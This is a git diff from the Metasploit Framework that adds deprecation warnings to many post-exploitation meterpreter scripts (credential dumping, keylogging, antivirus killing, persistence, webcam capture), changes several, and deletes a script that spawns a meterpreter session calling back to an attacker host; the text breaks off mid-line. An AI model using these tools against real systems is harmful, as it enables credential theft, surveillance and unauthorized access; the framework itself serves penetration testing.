script for listing installed applications and their version. # Provided: carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index 00300fa26d..d93526b998 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index 1b719d8953..6d87539409 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + require "rexml/document" diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index aec4a583be..fd503a3a38 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script that display local subnets # Provided by Nicob # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 9eda3dda41..78d4f41d54 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- require "rexml/document" diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index f27cd787dc..54c5bce348 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + #copied getvncpw - thanks grutz/carlos diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index 1a689c0008..804a4417e9 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. # Provides also the option to kill the processes of detected products and disable the built-in firewall. diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index f9f1d01893..ebd59c91a0 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index dc18aadb82..3f43493ea4 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -150,17 +157,15 @@ enbl = nil unsupported if client.platform !~ /win32|win64/i -if enbl +if enbl or (usr!= nil && pass != nil) message - insttlntsrv() - enabletlntsrv() - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") - -elsif usr!= nil && pass != nil - message - insttlntsrv() - enabletlntsrv() - addrdpusr(usr, pass) + if enbl + insttlntsrv() + enabletlntsrv() + end + if (usr!= nil && pass != nil) + addrdpusr(usr, pass) + end print_status("For cleanup use command: run multi_console_command -rc #{@dest}") else diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index e588564cf9..900bb9906f 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #---------------------------------------------------------------- # Meterpreter script to obtain the VNC password out of the # registry and print its decoded cleartext diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 022f795d9c..b53fdb5d82 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Implement pwdump (hashdump) through registry reads + syskey diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index 838993d933..7523bb2932 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Meterpreter script for modifying the hosts file in windows # given a single entrie or several in a file and clear the # DNS cache on the target machine. diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index ff8f28dd23..3ddb44fdda 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Updates by Shellster #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index 095fdd4c92..8e305dcd58 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Meterpreter script that kills all Antivirus processes # Provided by: Jerome Athias diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 1e668389e2..0ef3e7b6bf 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Meterpreter script for installing the meterpreter service # diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index a7caf76d18..c8d1a1760b 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Simple example script that migrates to a specific process by name. # This is meant as an illustration. diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 4bf1ed6227..f9b990a5f6 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for running multiple console commands on a meterpreter session # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index e4719567a2..36a36e7f58 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 5a59549e29..7fd3ada276 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for running multiple commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index 92b54b5935..dd93477b14 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for running multiple scripts on a Meterpreter Session #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com #Verion: 0.2 diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index 50ca71a519..e8b3fcb13d 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for ping sweeps on Windows 2003, Windows Vista #Windows 2008 and Windows XP targets using native windows commands. #Provided by Carlos Perez at carlos_perez[at]darkoperator.com diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb index 72b7d546a3..ba3e5dc1e2 100644 --- a/scripts/meterpreter/packetrecorder.rb +++ b/scripts/meterpreter/packetrecorder.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb index 8994c99784..0d30420f2e 100644 --- a/scripts/meterpreter/panda_2007_pavsrv51.rb +++ b/scripts/meterpreter/panda_2007_pavsrv51.rb @@ -5,6 +5,14 @@ # http://metasploit.com/framework/ ## +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # Panda Antivirus 2007 Local Privilege Escalation # This module exploits a privilege escalation vulnerability in diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 6e6418ca79..a69fb3f13a 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb index 8ae888a4cd..55e3df6474 100644 --- a/scripts/meterpreter/pml_driver_config.rb +++ b/scripts/meterpreter/pml_driver_config.rb @@ -5,6 +5,14 @@ # http://metasploit.com/framework/ ## +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # HP Multiple Products PML Driver HPZ12 Local Privilege Escalation. # diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index 9c6797702a..a65ba32bf1 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry # keys. This script requires you to be running as system in order to work properly. This has currently been diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index dce4598c09..97e346b5ff 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for extracting information from windows prefetch folder #Provided by Milo at keith.lee2012[at]gmail.com #Verion: 0.1.0 diff --git a/scripts/meterpreter/process_memdump.rb b/scripts/meterpreter/process_memdump.rb index 44e82c930f..46b9ef3235 100644 --- a/scripts/meterpreter/process_memdump.rb +++ b/scripts/meterpreter/process_memdump.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Note: Script is based on the paper Neurosurgery With Meterpreter by # Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com) diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index d5f2703288..1e5385f678 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index edf4287d9a..4f3e9d72fe 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for automating the most common scheduling tasks #during a pentest. This script will use the schtasks command so as diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index 78153842d5..cb412cca16 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # # This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index c17a82378f..a1ede35ca5 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for abusing the scheduler service in windows #by scheduling and running a list of command against one or more targets diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index 594383e575..0e18c77172 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # This is a Meterpreter script designed to be used by the Metasploit Framework # # The goal of this script is to obtain system information from a victim through diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index b95c87c221..14dd1036e3 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Script to unlock a windows screen by L4teral # Needs system prvileges to run and known signatures for the target system. diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index a7cb6313d2..77c1f86b84 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com # # Thie script will open an interactive view of remote hosts diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 2c633f860e..1c5148bfc4 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + ## Meterpreter script that recursively search and download ## files matching a given pattern diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index f112ef47f4..322136a22d 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez handler.datastore['PAYLOAD'], - 'RunAsJob' => true + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true ) #attempt to make new service @@ -132,7 +139,7 @@ service_list.each do |serv| moved = false configed = false #default path, but there should be an ImagePath registry key - source = "#{sysdir}\\system32\\#{serv}.exe") + source = "#{sysdir}\\system32\\#{serv}.exe" #get path to exe; parse out quotes and arguments sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s sourcemaybe = client.fs.file.expand_path(sourceorig) diff --git a/scripts/meterpreter/sound_recorder.rb b/scripts/meterpreter/sound_recorder.rb index 84dfdaebe7..a930ae628c 100644 --- a/scripts/meterpreter/sound_recorder.rb +++ b/scripts/meterpreter/sound_recorder.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/srt_webdrive_priv.rb b/scripts/meterpreter/srt_webdrive_priv.rb index deb7748615..8d1f683124 100644 --- a/scripts/meterpreter/srt_webdrive_priv.rb +++ b/scripts/meterpreter/srt_webdrive_priv.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + ## # South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation. # diff --git a/scripts/meterpreter/uploadexec.rb b/scripts/meterpreter/uploadexec.rb index fe19bfb3f0..59f576be53 100644 --- a/scripts/meterpreter/uploadexec.rb +++ b/scripts/meterpreter/uploadexec.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + session = client @@exec_opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/virtualbox_sysenter_dos.rb b/scripts/meterpreter/virtualbox_sysenter_dos.rb index 910e8f595d..47615b559b 100644 --- a/scripts/meterpreter/virtualbox_sysenter_dos.rb +++ b/scripts/meterpreter/virtualbox_sysenter_dos.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script for triggering the VirtualBox DoS published at: # http://milw0rm.com/exploits/9323 diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb index c13c803061..97c491e458 100644 --- a/scripts/meterpreter/virusscan_bypass.rb +++ b/scripts/meterpreter/virusscan_bypass.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes in magic # order which keeps VirusScan icon visible at system tray without disabled sign on it. # Additionally it lets you disable On Access Scanner from registry, upload your detectable diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 2f398d9e38..8151145334 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for obtaining a quick VNC session # diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index 0292faf398..bc878ef09d 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: scriptjunkie # # Simplify running webcam, whether grabbing a single frame or running diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index 222ba394f4..84ee64e104 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script to deploy & run the "plink" commandline ssh-client # supports only MS-Windows-2k/XP/Vista Hosts diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index e909ef6eea..ecd50c2e5d 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # meterpreter-script to deploy + run OpenSSH # on the target machine diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index ee4e925d62..1ab03dae9d 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb index 34eb1e97aa..864aebd70a 100644 --- a/scripts/meterpreter/winenum.rb +++ b/scripts/meterpreter/winenum.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index ccf6121196..4900da889e 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for running WMIC commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/resource/auto_brute.rc b/scripts/resource/auto_brute.rc index 157afff0d9..b369c2b581 100644 --- a/scripts/resource/auto_brute.rc +++ b/scripts/resource/auto_brute.rc @@ -72,7 +72,7 @@ end framework.db.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) # for now we only brute force these services, you can add some more ... next if not (serv.name =~ /smb/ or diff --git a/scripts/resource/auto_cred_checker.rc b/scripts/resource/auto_cred_checker.rc index 6e726f4759..f39f730eca 100644 --- a/scripts/resource/auto_cred_checker.rc +++ b/scripts/resource/auto_cred_checker.rc @@ -56,7 +56,7 @@ framework.db.creds.each do |creds| framework.db.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) # for now we only check these services, you can add some more ... next if not (serv.name =~ /smb/ or serv.name =~ /microsoft-ds/ or diff --git a/scripts/resource/auto_pass_the_hash.rc b/scripts/resource/auto_pass_the_hash.rc index f87b4ef469..026e8cb08c 100644 --- a/scripts/resource/auto_pass_the_hash.rc +++ b/scripts/resource/auto_pass_the_hash.rc @@ -80,7 +80,7 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) next if (serv.name !~ /smb/) print_line("using psexec - Pass the hash") diff --git a/scripts/resource/autocrawler.rc b/scripts/resource/autocrawler.rc index 2306d60187..058ce86226 100644 --- a/scripts/resource/autocrawler.rc +++ b/scripts/resource/autocrawler.rc @@ -34,7 +34,7 @@ end framework.db.workspace.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) next if (serv.name !~ /http/) if(verbose == 1) diff --git a/scripts/resource/basic_discovery.rc b/scripts/resource/basic_discovery.rc index 20122a9bd4..e8a741158e 100644 --- a/scripts/resource/basic_discovery.rc +++ b/scripts/resource/basic_discovery.rc @@ -114,7 +114,7 @@ run_single("unsetg RHOSTS") # we dont need it anymore framework.db.workspace.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) #next if (serv.name =~ /smb/ or serv.name =~ /microsoft-ds/ or serv.name =~ /netbios/ or serv.port == 445 or serv.port == 139 or serv.port == 137 or serv.name =~ /smtp/ or serv.port == 25 or serv.name =~ /snmp/ or serv.port == 161 or serv.name =~ /ssh/ or serv.port == 22 or serv.name =~ /telnet/ or serv.port == 23) if (serv.name =~ /smb/ or serv.name =~ /microsoft-ds/ or serv.name =~ /netbios/ or serv.port == 445 or serv.port == 139 or serv.port == 137) if(serv.port == 445) diff --git a/scripts/resource/port_cleaner.rc b/scripts/resource/port_cleaner.rc index 85c48b7995..5e7407ced0 100644 --- a/scripts/resource/port_cleaner.rc +++ b/scripts/resource/port_cleaner.rc @@ -16,7 +16,7 @@ counter = 0 framework.db.hosts.each do |host| host.services.each do |serv| next if not serv.host - if (serv.state != ServiceState::Open) + if (serv.state != Msf::ServiceState::Open) print_line("cleaning closed services (Port: #{serv.port.to_i} / Host: #{host.address})") run_single("services -d -p #{serv.port.to_i} -r #{serv.proto} #{host.address}") counter = counter + 1 diff --git a/scripts/resource/wmap_autotest.rc b/scripts/resource/wmap_autotest.rc index 3784d8f665..66b51faec5 100644 --- a/scripts/resource/wmap_autotest.rc +++ b/scripts/resource/wmap_autotest.rc @@ -47,7 +47,7 @@ end framework.db.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) next if (serv.name !~ /http/) if(verbose == 1) diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb deleted file mode 100644 index 87a87ce691..0000000000 --- a/scripts/shell/spawn_meterpreter.rb +++ /dev/null @@ -1,177 +0,0 @@ -# -# Spawn a meterpreter session using an existing command shell session -# -# NOTE: Some of the following code is duplicated from the VBS CmdStager -# -# This is really only to prove the concept for now. -# -# -jduck -# - - -# -# Show the progress of the upload -# -def progress(total, sent) - done = (sent.to_f / total.to_f) * 100 - print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) -end - - -# -# Returns if a port is used by a session -# -def is_port_used?(port) - framework.sessions.each do |sid, obj| - local_info = obj.instance_variable_get(:@local_info) - return true if local_info =~ /:#{port}$/ - end - - false -end - -# -# Mimics what MSF alreayd does if the user doesn't manually select a payload and lhost -# -lhost = framework.datastore['LHOST'] -unless lhost - lhost = Rex::Socket.source_address -end - -# -# If there is no LPORT defined in framework, then pick a random one that's not used -# by current sessions. This is possible if the user assumes module datastore options -# are the same as framework datastore options. -# -lport = framework.datastore['LPORT'] -unless lport - lport = 4444 # Default meterpreter port - while is_port_used?(lport) - # Pick a port that's not used - lport = [*49152..65535].sample - end -end - -# maybe we want our sessions going to another instance? -use_handler = true -use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true) - -# Process special var/val pairs... -# XXX: Not supported yet... -#Msf::Ui::Common.process_cli_arguments($framework, ARGV) - - -# Create the payload instance -payload_name = 